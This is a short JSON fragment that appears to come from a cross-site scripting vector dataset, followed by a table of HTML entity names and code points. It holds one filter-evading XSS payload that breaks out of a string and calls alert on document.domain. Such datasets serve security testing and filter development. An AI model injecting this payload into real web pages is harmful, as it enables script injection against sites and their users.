(window)\",\"code\":\"';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//\",\"browsers\":[\"c..."}}},"htmlEntities":{"type":"object","keys":2125,"sampleEntries":{"Aacute":193,"aacute":225,"Abreve":258,"abreve":259,"ac":8766,"acd":8767,"acE":8766,"Acirc":194}}}}}